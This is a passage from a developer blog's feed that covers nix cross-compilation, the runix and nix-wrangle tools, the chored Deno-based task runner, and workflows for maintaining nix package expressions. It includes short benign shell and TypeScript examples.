&lt;p&gt;That obviously works, Linux package managers are extremely competent at cross-compilation and I’m assuming it’s a perfectly reasonable system. But with nix, you can just build as many different universes as you want. By plumbing together expressions that refer to other expressions in a particular way, it produces a cross compiled binary without requiring cross-compilation support from the nix language or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-build&lt;/code&gt; tool itself.&lt;/p&gt;

&lt;p&gt;So… yeah. I learnt this recently when working on &lt;a href=&quot;https://github.com/timbertson/runixhttps://github.com/timbertson/runix&quot;&gt;runix&lt;/a&gt; and I just enjoyed this strangely beautiful mix of compiler toolchain hacking and elegant functional programming concepts.&lt;/p&gt;

&lt;h1 id=&quot;ok-so-how-do-i-actually-cross-compile-stuff&quot;&gt;Ok so how do I actually… cross compile stuff?&lt;/h1&gt;

&lt;p&gt;Unfortunately, actually learning the ins &amp;amp; outs of writing and debugging nix expressions for cross-compilation can be quite tricky. My &lt;a href=&quot;https://github.com/timbertson/runix/blob/1e1b99ef7a88d97001198c0552940b522ab1879d/nix/runix.nix#L159-L238&quot;&gt;additional overlay for cross-compiling runix&lt;/a&gt; is not pretty, and it took a lot of trial and error to get this working. But the results &lt;em&gt;are&lt;/em&gt; pretty amazing, because now I can build everything on a single machine, fully automated with no need to install various toolchains.&lt;/p&gt;

&lt;p&gt;These are some resources I found helpful when learning cross-compilation in nix, hopefully they help if you want to dive deeper:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nix.dev/tutorials/cross-compilation&quot;&gt;nix.dev: Cross Compilation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nixos.wiki/wiki/Cross_Compiling&quot;&gt;NixOS wiki: Cross Compiling&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ianthehenry.com/posts/how-to-learn-nix/cross-compilation/&quot;&gt;How to Learn Nix, Part 30: Cross-compilation&lt;/a&gt; - an extremely detailed newcomer’s diary to cross compilation, helping to digest some of the rather dense nix manual content&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/nix-community/fenix/issues/5&quot;&gt;fenix: rust cross compilation linking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>runix: run nix software without nix</title>
			<link href="http://gfxmonk.net/2022/11/26/runix-run-nix-software-without-installing-nix.html"/>
			<updated>2022-11-26T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2022/11/26/runix-run-nix-software-without-installing-nix</id>
			<content type="html">
				
				&lt;p&gt;I think &lt;a href=&quot;https://nixos.org/&quot;&gt;nix&lt;/a&gt; is fantastic. Language-agnostic, cross-platform, reproducible, cacheable software building and distribution. It’s not an easy thing to learn, but the payoff is tremendous.&lt;/p&gt;

&lt;p&gt;But one thing about nix is that you typically need to be all-in. When &lt;em&gt;building&lt;/em&gt; software, this makes sense - Nix’s reproducibility only works if all your dependencies are themselves available within nix. But as a colleague casually suggested one day: shouldn’t it be possible to &lt;em&gt;run&lt;/em&gt; nix-built software without installing nix?&lt;/p&gt;

&lt;p&gt;I told him a few reasons why it’s harder than it sounds, mainly due to the hardcoded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/nix/store&lt;/code&gt; path which is assumed by the entire ecosystem. But my mind dwelt on it in the background, and it turns out it turned out to be much easier than I first thought.&lt;/p&gt;

&lt;h3 id=&quot;runix&quot;&gt;&lt;a href=&quot;https://github.com/timbertson/runix&quot;&gt;Runix&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;So, I’m announcing &lt;a href=&quot;https://github.com/timbertson/runix&quot;&gt;runix&lt;/a&gt;, which does just that - it’s a small, unobtrusive executable which allows running nix software from any binary cache. Features:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;small (&amp;lt;4mb compressed)&lt;/li&gt;
  &lt;li&gt;fast (~10 microsecond overhead after initial download)&lt;/li&gt;
  &lt;li&gt;no configuration required&lt;/li&gt;
  &lt;li&gt;unobtrusive (no need for root access or a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/nix&lt;/code&gt; directory)&lt;/li&gt;
  &lt;li&gt;can use software from any nix-compatible binary cache (including cache.nixos.org and &lt;a href=&quot;https://www.cachix.org/&quot;&gt;cachix&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;conveniently distribute software via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;runscripts&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Runscripts are a runix invention, they’re a tiny wrapper around a list of derivations and binary caches. In addition, they support:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;self-bootstrapping (install &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;runix&lt;/code&gt; itself if missing)&lt;/li&gt;
  &lt;li&gt;multiplatform (execute a different nix derivation per platform)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;runix&lt;/code&gt; intentionally lacks all the development and authoring features of nix itself - you can’t evaluate nix expressions or build software locally, you can only run existing software which someone else has built and pushed to a binary cache. But for distributing software, it’s a much easier way for users to access nix-built software.&lt;/p&gt;


				
			</content>
		</entry>
	
		<entry>
			<title>Introducing <code>chored</code></title>
			<link href="http://gfxmonk.net/2022/05/18/introducing-chored.html"/>
			<updated>2022-05-18T00:00:00+10:00</updated>
			<id>http://gfxmonk.net/2022/05/18/introducing-chored</id>
			<content type="html">
				
				&lt;p&gt;&lt;a href=&quot;https://github.com/timbertson/chored&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chored&lt;/code&gt;&lt;/a&gt; is a utility for handling repetitive chores and files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;There are many repositories.&lt;/strong&gt; Lots of them have similar (tedious!) things they need to do, which aren’t particular to &lt;em&gt;that&lt;/em&gt; repository:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;building&lt;/li&gt;
  &lt;li&gt;linting&lt;/li&gt;
  &lt;li&gt;testing&lt;/li&gt;
  &lt;li&gt;generation of configuration for tools:
    &lt;ul&gt;
      &lt;li&gt;CI configuration&lt;/li&gt;
      &lt;li&gt;build settings&lt;/li&gt;
      &lt;li&gt;all sorts if common or shared files&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;release management&lt;/li&gt;
  &lt;li&gt;documentation generation&lt;/li&gt;
  &lt;li&gt;pull request automation&lt;/li&gt;
  &lt;li&gt;updating dependencies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/timbertson/chored&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chored&lt;/code&gt;&lt;/a&gt; allows you to reuse solutions to these problems, and any others you can think of. It’s minimally intrusive and lightweight (just add one small wrapper script to your repo).&lt;/p&gt;

&lt;p&gt;And even when tasks aren’t exactly the same, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chored&lt;/code&gt; facilitates code reuse as easily as importing a URL, but as powerful as real libraries in a real programming language (because it is both of those things).&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3 id=&quot;like-github-actions&quot;&gt;“Like Github actions?”&lt;/h3&gt;

&lt;p&gt;It allows much better &lt;em&gt;sharing&lt;/em&gt; of functionality (without the vendor lock-in and awkward abstractions), but it just executes code - you can run it on your machine or within CI, ideally both! To help with this is also has builtin functionality for generating github workflow files to run chores in CI.&lt;/p&gt;

&lt;h3 id=&quot;oh-like-a-rake-task-or-an-npm-task-or-plenty-more-task-runners&quot;&gt;“Oh, like a rake task. Or an NPM task. Or [plenty more task runners]”&lt;/h3&gt;

&lt;p&gt;Kind of! I consider those heavyweight though, because they bring in a dependency manager with its own configuration and stateful lifecycle.
They’re also &lt;em&gt;only&lt;/em&gt; about tasks, while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chored&lt;/code&gt; expects you’ll also use it to generate repetitive files.&lt;/p&gt;

&lt;p&gt;The closest project I know of is probably &lt;a href=&quot;https://github.com/projen/projen&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;projen&lt;/code&gt;&lt;/a&gt;, except &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;projen&lt;/code&gt;’s focus is on extensive file generation for specific project types, while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chored&lt;/code&gt; has less extensive project types and more focus on the task system. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chored&lt;/code&gt; is also simpler because it relies on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deno&lt;/code&gt; and Typescript, while projen supports multiple languages.&lt;/p&gt;

&lt;h1 id=&quot;lightweight-stateless-dependency-management&quot;&gt;Lightweight, stateless dependency management:&lt;/h1&gt;

&lt;p&gt;Basically, I want to remove this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ yarn run mytask
# (it doesn&apos;t work)
$ yarn install
# (it still doesn&apos;t work)
$ rm -rf node_modules &amp;amp;&amp;amp; yarn insall
$ yarn run mytask
# (it works :facepalm:)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ rake mytask
rbenv: version `2.6.5&apos; is not installed

# (take a deep breath)
$ rbenv install `cat .ruby-version`
$ rbenv exec gem install bundler
$ rbenv exec bundle install
$ rbenv exec bundle exec rake mytask
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;(this can be written more tersely, but that often makes it more confusing, not less)&lt;/p&gt;

&lt;p&gt;With most package managers, your system (the state of files on your machine) is typically out of sync with the desired state.
You need to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yarn install&lt;/code&gt; etc to bring them in sync, after every change.&lt;/p&gt;

&lt;p&gt;With deno, your system can’t be inconsistent, it may just have some uncached imports.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;anyone running a given module will use the exact same dependencies, regardless of the state of your machine
(it’ll just be slower from an empty cache)&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;lightweight-abstraction&quot;&gt;Lightweight abstraction:&lt;/h1&gt;

&lt;p&gt;At its heart, a chore definition (choredef) is simply a function, accepting a single arguments object. This can be whatever shape you need, and you can make fields optional or mandatory in the usual typescript way.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./chored&lt;/code&gt; collects your commandline arguments into an object, and passes this to your chosen chore. Here’s what a trivial &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;greet&lt;/code&gt; chore looks like, it accepts no options and prints a simple message:&lt;/p&gt;

&lt;div class=&quot;language-typescript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// choredefs/greet.ts&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;opts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{})&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Hello, world!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;types&quot;&gt;Types!&lt;/h1&gt;

&lt;p&gt;Chored uses typescript throughout. When invoking a chore, it typechecks the arguments you provided on the commandline with the arguments accepted by that chore. If you’re missing something, or pass in the wrong type, or pass in an option that isn’t recognised, you’ll get an error. Nice.&lt;/p&gt;

&lt;p&gt;Of course, the benefit of types extends to writing your own chores, reusing third party modules, etc.&lt;/p&gt;

&lt;h1 id=&quot;files&quot;&gt;Files!&lt;/h1&gt;

&lt;p&gt;Sometimes you want to run a thing &lt;em&gt;right now&lt;/em&gt;. Other times, you want to generate a file to tell your CI system to run a thing at some other time. Or maybe you just want to generate some super standard boilerplate files across many repos, like compiler / linter config, LICENSE files, release scripts, etc.&lt;/p&gt;

&lt;p&gt;You could even build a kubernetes abstraction within chored - you design the input types and then implement conversions to YAML files that you either keep on-disk or send directly into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubectl apply&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Chored has first-class support for generating files - in fact, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chored&lt;/code&gt; script in your repository is managed via this file rendering chore, so updating that chore will also bring in any changes to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chored&lt;/code&gt; script. How meta!&lt;/p&gt;

&lt;h1 id=&quot;background---how-i-got-here&quot;&gt;Background - how I got here:&lt;/h1&gt;

&lt;p&gt;Chored is not my first attempt to solve this problem. Previously, I built &lt;a href=&quot;https://github.com/timbertson/dhall-render&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dhall-render&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/timbertson/dhall-ci&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dhall-ci&lt;/code&gt;&lt;/a&gt;, which were based on an experiment I pursued in my day job. These together aimed to solve the problem of generating files, with many of the same goals.&lt;/p&gt;

&lt;p&gt;However even though I’m quite pleased with the results, there were some downsides that come from &lt;em&gt;only&lt;/em&gt; generating files, and not being able to execute arbitrary logic.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;you end up generating a lot of scripts, which clutters a repository (ususally written in bash or dependency-free ruby)
To avoid the clutter I experimented with generating Makefiles, which is clearly a red flag considering how much I hate automake!&lt;/li&gt;
  &lt;li&gt;you end up pushing logic through awkwardly-shaped holes
    &lt;ul&gt;
      &lt;li&gt;where in a real language you might do some logic based on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$GITHB_HEAD_REF&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$GITHUB_REF&lt;/code&gt; to detect the branch name across both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;push&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pull_request&lt;/code&gt; github events, when generating files you have to serialize that as inline bash expressions, and those are &lt;a href=&quot;https://github.com/timbertson/dhall-ci-docker/blob/c37161f9ef8170479b11a8535ad48b7eb0b00700/Docker/Workflow/branchName.dhall&quot;&gt;not pretty&lt;/a&gt;, and definitely not readable.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;generating files can help with declarative systems like github actions, but there’s tremendous value in deemphasizing this kind of vendor-specific solution. chored encourages me to write code that also works outside of github actions, because it’s so much more convenient to use and test.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More recently, I also encountered &lt;a href=&quot;https://github.com/projen/projen&quot;&gt;projen&lt;/a&gt;. While I find it too cumbersome to adopt wholesale due to its support for multiple languages, I realised that I really wanted some of the benefits afforded by its implementation - notably the task system and the excellent support for Typescript in most editors.&lt;/p&gt;


				
			</content>
		</entry>
	
		<entry>
			<title>nix-wrangle: Manage nix sources and dependencies with ease</title>
			<link href="http://gfxmonk.net/2019/10/13/nix-wrangle-manage-nix-sources-and-dependencies-with-ease.html"/>
			<updated>2019-10-13T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2019/10/13/nix-wrangle-manage-nix-sources-and-dependencies-with-ease</id>
			<content type="html">
				
				&lt;h3 id=&quot;update&quot;&gt;Update:&lt;/h3&gt;

&lt;p&gt;Doing things my own way is too much effort, I just use &lt;a href=&quot;https://github.com/nmattia/niv&quot;&gt;niv&lt;/a&gt; these days :)&lt;/p&gt;

&lt;p&gt;My &lt;a href=&quot;/2018/05/12/a-journey-towards-better-nix-package-development.html&quot;&gt;last post&lt;/a&gt; was more than a year ago, in which I described my long journey towards better package management with &lt;a href=&quot;https://nixos.org/nix/&quot;&gt;nix&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Well, it turns out that journey wasn’t over. Since then, I’ve been using the tools I created and found them unfortunately lacking.&lt;/p&gt;

&lt;p&gt;So, I’ve built just one more tool, to replace those described in the previous post.&lt;/p&gt;

&lt;p&gt;I’m writing this assuming you’ve read the previous post, otherwise I’d be repeating myself a lot. If you haven’t, just check out &lt;a href=&quot;https://github.com/timbertson/nix-wrangle&quot;&gt;nix-wrangle&lt;/a&gt; and don’t worry about my previous attempts ;)&lt;/p&gt;

&lt;h3 id=&quot;step-7-nix-wrangle-for-development-dependency-management-and-releases&quot;&gt;Step 7: &lt;a href=&quot;https://github.com/timbertson/nix-wrangle&quot;&gt;nix-wrangle&lt;/a&gt; for development, dependency management and releases&lt;/h3&gt;

&lt;p&gt;After a lot of mulling over the interconnected problems described in that previous post (and discussions with the creators of similar tools), I came at it from a new direction. Nix wrangle is the result of that approach. I’ve been using it fairly successfully for a while now, and I’m ready to announce it to the world.&lt;/p&gt;

&lt;p&gt;How does it differ from my previous state of using &lt;a href=&quot;https://github.com/timbertson/nix-update-source&quot;&gt;nix-update-source&lt;/a&gt; and &lt;a href=&quot;https://github.com/timbertson/nix-pin&quot;&gt;nix-pin&lt;/a&gt;?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;One JSON file for all dependencies, allowing bulk operations like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;show&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update&lt;/code&gt;, as well as automating dependency injection (since all dependencies are known implicitly).&lt;/li&gt;
  &lt;li&gt;A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;splice&lt;/code&gt; command which takes a nix derivation file, injects a synthetic &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; attribute baking in the current source from the nix-wrangle JSON file. This allows you to keep an idiomatic nix file for local development (using a local source), and automatically derive an expression using the latest public sources for inclusion in nixpkgs proper.&lt;/li&gt;
  &lt;li&gt;Project-local development overrides. The global heuristic of &lt;a href=&quot;https://github.com/timbertson/nix-pin&quot;&gt;nix-pin&lt;/a&gt; caused issues and some confusion, &lt;a href=&quot;https://github.com/timbertson/nix-wrangle&quot;&gt;nix-wrangle&lt;/a&gt; supports local sources for exactly the same purpose, but with an explicit, project level scope.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Please &lt;a href=&quot;https://github.com/timbertson/nix-wrangle&quot;&gt;check it out&lt;/a&gt; if you use nix! And if you don’t use &lt;a href=&quot;https://nixos.org/nix/&quot;&gt;nix&lt;/a&gt;, check that out first :)&lt;/p&gt;


				
			</content>
		</entry>
	
		<entry>
			<title>A journey towards better nix package development</title>
			<link href="http://gfxmonk.net/2018/05/12/a-journey-towards-better-nix-package-development.html"/>
			<updated>2018-05-12T00:00:00+10:00</updated>
			<id>http://gfxmonk.net/2018/05/12/a-journey-towards-better-nix-package-development</id>
			<content type="html">
				
				&lt;h3 id=&quot;update&quot;&gt;Update:&lt;/h3&gt;

&lt;p&gt;Doing things my own way is too much effort, I just use &lt;a href=&quot;https://github.com/nmattia/niv&quot;&gt;niv&lt;/a&gt; these days :)&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;This post is targeted at users of &lt;a href=&quot;https://nixos.org/nix/&quot;&gt;nix&lt;/a&gt; who write / maintain package derivations for software they contribute to. I’ve spent a lot of time doing (and thinking about) this, although it’s probably quite a niche audience ;)&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;tl;dr&lt;/strong&gt;: you should check out &lt;a href=&quot;https://github.com/timbertson/nix-pin&quot;&gt;nix-pin&lt;/a&gt; and &lt;a href=&quot;https://github.com/timbertson/nix-update-source&quot;&gt;nix-update-source&lt;/a&gt; if you want to have a happy life developing and updating nix expressions for projects you work on.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I believe &lt;a href=&quot;https://nixos.org/nix/&quot;&gt;nix&lt;/a&gt; is a technically excellent mechanism for software distribution and packaging.&lt;/p&gt;

&lt;p&gt;But it’s also flexible enough that I want to use it for many different use cases, especially during development. Unfortunately, there are a few rough edges which make a good development setup difficult, especially when you’re trying to build expressions which serve multiple purposes. Each of these purpose has quite a few constraints:&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3 id=&quot;purpose-1-inclusion-in-nixpkgs-proper&quot;&gt;Purpose 1: Inclusion in &lt;a href=&quot;https://github.com/NixOS/nixpkgs/&quot;&gt;nixpkgs&lt;/a&gt; proper&lt;/h3&gt;

&lt;p&gt;This is in some ways the most restrictive part - if I didn’t need to include my packages in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixgpks&lt;/code&gt;, I could make my derivations as funky and complex as I like. But there’s a lot of value to being in nixpkgs. The general constraints are that nixpkgs derivations should be idiomatic and functionality which &lt;em&gt;isn’t&lt;/em&gt; needed for nixpkgs is frowned upon:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;simple packages should be a single function which takes its dependencies in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;callPackage&lt;/code&gt;-compatible way&lt;/li&gt;
  &lt;li&gt;splitting a simple derivation across multiple files is frowned upon (e.g. for the purposes of a common &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;build.nix&lt;/code&gt; but different &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src.nix&lt;/code&gt; between nixpkgs and your upstream repository)&lt;/li&gt;
  &lt;li&gt;externalizing attributes into a machine-readable / writable format (e.g. JSON) for easy automation &lt;a href=&quot;https://github.com/NixOS/nixpkgs/pull/21734#issuecomment-276030790&quot;&gt;will get your changes reverted&lt;/a&gt; (sadly)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;purpose-2-allowing-easy-updates&quot;&gt;Purpose 2: Allowing easy updates&lt;/h3&gt;

&lt;p&gt;Updating a package in nix is kind of tedious. For a typical github-hosted package you’ll need to update the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rev&lt;/code&gt; attribute to the new version, but then you also need to update the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sha256&lt;/code&gt;, and that’s not actually trivial. There are two options:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;run `nix-prefetch-url on the github tarball address, or&lt;/li&gt;
  &lt;li&gt;break the existing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sha256&lt;/code&gt; attribute by modifying one or more characters (you can’t use an empty digest, that won’t get past the sanity checks), then:
    &lt;ul&gt;
      &lt;li&gt;build your package&lt;/li&gt;
      &lt;li&gt;copy-paste the correct &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sha256&lt;/code&gt; from the error message into your package definition&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I can never remember github’s tarball format, so both of these are pretty tedious. It may not be that much work each time, but the more packages (and versions) you commit to nixpkgs, the more this feels like a computer should be doing the tedious part for you.&lt;/p&gt;

&lt;h3 id=&quot;purpose-3-standalone-development-ie-as-part-of-the-project-being-built&quot;&gt;Purpose 3: Standalone development (i.e. as part of the project being built)&lt;/h3&gt;

&lt;p&gt;I don’t know how common this is, but I keep nix expressions inside all of my repos. I think it’s a good idea to version your nix expressions with your code, especially when you’re working on changes to both at the same time. And since I love nix, why &lt;em&gt;wouldn’t&lt;/em&gt; I want all of my projects to have a nix expression so I can get dependencies setup trivially and know that my build works, without accidentally depending my system environment?&lt;/p&gt;

&lt;p&gt;Sometimes they’re just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell.nix&lt;/code&gt; files used for development, but a lot of the times they’re fully buildable nix derivations.&lt;/p&gt;

&lt;p&gt;For the packages which are in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixpkgs&lt;/code&gt;, I want to keep a verbatim copy in my repo, but I still want the repo copy for testing changes, and so anyone with a copy of my project also has the appropriate build expression for any given revision.&lt;/p&gt;

&lt;h3 id=&quot;purpose-4-inter-project-development&quot;&gt;Purpose 4: Inter-project development&lt;/h3&gt;

&lt;p&gt;This one may be quite uncommon, but I’ve ended up running into it a lot. The scenario is that I have some package &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base&lt;/code&gt;, and package &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app&lt;/code&gt; which depends on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base&lt;/code&gt;. I want to either add a feature or fix something broken in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app&lt;/code&gt;, but it turns out this requires fixes to either the source code or the nix expression for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base&lt;/code&gt;. Now you can’t just make changes in one repo, but you need to build &amp;amp; integrate changes across two (or on a bad day, a whole handful of) projects.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;attempts-ive-made-in-the-pursuit-of-a-perfect-workflow&quot;&gt;Attempts I’ve made in the pursuit of a perfect workflow&lt;/h1&gt;

&lt;p&gt;You could probably skip to the end if you just want to know where I’m at now, but I think it often helps to explain the journey, so you know what problem I’m trying to solve, what attempts I’ve made that didn’t work out well enough, and why.&lt;/p&gt;

&lt;h3 id=&quot;step-1-nothing-fancy&quot;&gt;Step 1: Nothing fancy&lt;/h3&gt;

&lt;p&gt;When developing a nix expression, use only public, tagged archives.&lt;/p&gt;

&lt;p&gt;This is fine for a long-running or third-party project, where you don’t need (nor have access) to make changes to the project itself. All you’re doing is wrapping it up in a nix expression, and updates to your nix expression come after upstream source code releases.&lt;/p&gt;

&lt;p&gt;However, what about when the upstream project &lt;em&gt;is&lt;/em&gt; your project. And what if you want to make sure your nix expression works as expected &lt;em&gt;before&lt;/em&gt; you release a new version, so that you can fix anything which is broken? I really want to be able to test changes that I make end-to-end, and that includes testing that it’ll actually work in nix.&lt;/p&gt;

&lt;p&gt;Another awkward issue is that you typically need two expressions - a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;default.nix&lt;/code&gt; which can be called with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-build&lt;/code&gt;, and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;myPackage/default.nix&lt;/code&gt; which accepts its dependencies as arguments. This typically just means &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;default.nix&lt;/code&gt; just does a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;callPackage&lt;/code&gt; on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;myPackage/default.nix&lt;/code&gt;, but this is a piece of boilerplate you need in each project.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problems:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Every change to the source code must be versioned, tagged, pushed and released before you can update or test your nix derivation. This is extremely limiting for iterative development, as you may end up publishing a number of broken versions because you haven’t tested them.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;step-2-scripted-updates&quot;&gt;Step 2: Scripted updates&lt;/h3&gt;

&lt;p&gt;Even when you’re doing the simplest possible thing, bumping a package version in nix is kind of tedious. For a typical github-hosted package you’ll need to update the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rev&lt;/code&gt; attribute to the new version tag, but then you also need to update the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sha256&lt;/code&gt;. It’s not &lt;em&gt;hard&lt;/em&gt;, but it’s pretty annoying and clunky - the more you do it, the more convinced you become there must be a better way.&lt;/p&gt;

&lt;p&gt;The straightforward way to automate updating source code (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; is a programming language, not a data format) is typically to extract the automatable bit into its own, simple file format. For example, if I was generating some data for a python program I wouldn’t try to modify python source code in-place, but I’d instead generate a JSON file, then use python’s JSON support to load in that file.&lt;/p&gt;

